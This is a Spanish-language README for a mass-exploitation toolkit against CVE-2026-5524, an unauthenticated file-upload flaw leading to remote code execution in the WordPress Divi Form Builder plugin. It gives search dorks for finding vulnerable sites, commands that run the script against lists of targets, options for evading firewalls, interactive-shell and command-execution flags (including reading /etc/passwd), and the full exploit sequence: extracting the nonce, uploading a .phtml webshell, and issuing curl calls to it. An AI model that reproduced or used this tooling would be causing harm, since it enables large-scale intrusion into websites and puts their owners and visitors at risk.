iicaicai/cve-2026-5524-pocKit de herramientas de explotación masiva en Python para CVE-2026-5524, una RCE por carga de archivos no autenticada en el plugin Divi Form Builder de WordPress, con carga de webshell y ejecución de comandos.
Kit de explotación masiva para CVE-2026-5524, una vulnerabilidad de carga de archivos arbitrarios no autenticada en el plugin de WordPress Divi Form Builder <= 5.1.8 que conduce a la ejecución remota de código.
| Campo | Valor |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Crítico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afectado | Divi Form Builder <= 5.1.8 |
| Parcheado | 5.1.9 |
| Tipo | Carga de archivos no autenticada a RCE |
| Investigador | 0xd4rk5id3 - EnvoraSec |
El plugin Divi Form Builder para WordPress contiene una vulnerabilidad de carga de archivos arbitrarios no autenticada. El manejador do_image_upload() pasa el parámetro POST acceptFileTypes controlado por el usuario directamente a una expresión regular utilizada para validar las extensiones de archivo. Al proporcionar un valor como phtml, un atacante puede eludir la regla .htaccess del plugin que solo bloquea la extensión .php y cargar un webshell con una extensión ejecutable por PHP (.phtml, .phar, .php5, .php7 y similares).
Una vez que el archivo llega a /wp-content/uploads/de_fb_uploads/, Apache lo ejecuta como PHP, otorgando al atacante ejecución remota de código como el usuario del servidor web.
El problema está corregido en Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisitos: Python 3.8 o superior en Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Para objetivos detrás de un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configuración de Apache o nginx endurecida.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Tras una carga exitosa, el script puede ejecutar inmediatamente un comando o abrir una shell interactiva.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descripción |
|---|---|
-u URL | URL de objetivo único |
-l FILE | Archivo que contiene la lista de objetivos, una URL por línea |
-t N | Número de hilos concurrentes (por defecto 10) |
--timeout N | Tiempo de espera de la solicitud en segundos (por defecto 15) |
-o FILE | Guardar resultados en un archivo de salida JSONL |
--proxy URL | Enrutar el tráfico a través de un proxy HTTP |
--nonce HASH | Usar un nonce proporcionado manualmente, omitir la autodetección |
--ext EXT | Forzar una única extensión en lugar de la lista completa de bypass |
--shell | Abrir una shell RCE interactiva en caso de éxito (solo objetivo único) |
--cmd CMD | Ejecutar un comando en el objetivo y luego salir |
--shell-file FILE | Cargar un payload de shell personalizado en lugar del integrado |
--no-verify | Omitir el paso de verificación de RCE posterior a la carga |
--strict-verify | Confirmar que la URL del shell devuelve HTTP 200 para filtrar falsos positivos |
--user-ini | Cargar un dropper .user.ini para entornos PHP-FPM |
--htaccess | Cargar un reactivador .htaccess para entornos Apache |
--aggressive | Habilitar todas las técnicas de bypass disponibles |
--null-byte | Incluir intentos con byte nulo y doble extensión |
--path-traversal | Intentar cargar en subdirectorios /uploads/YYYY/MM/ |
--debug | Imprimir respuestas HTTP sin procesar para diagnóstico |
El manejador vulnerable construye una expresión regular a partir de la entrada del usuario sin sanitización.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Al enviar acceptFileTypes=phtml, la expresión regular resultante /\.(phtml)$/i coincide con nombres de archivo que terminan en .phtml, aunque el propio archivo .htaccess del plugin solo bloquea la extensión .php. Apache entonces ejecuta el archivo cargado como PHP, produciendo ejecución remota de código.
Rastrear una página que incruste un formulario de Divi Form Builder (/, /contact, /quote, etc). Añadir un parámetro ?nocache=<random> para eludir Varnish, WP Rocket y otras cachés de página que de otro modo servirían un nonce obsoleto.
Extraer el valor fb_nonce del objeto JavaScript localizado:
de_fb_obj = {"fb_nonce":"<10 caracteres hex>", ...}
Enviar por POST un formulario multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leer la URL del archivo desde la respuesta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Solicitar el shell con un comando codificado en base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"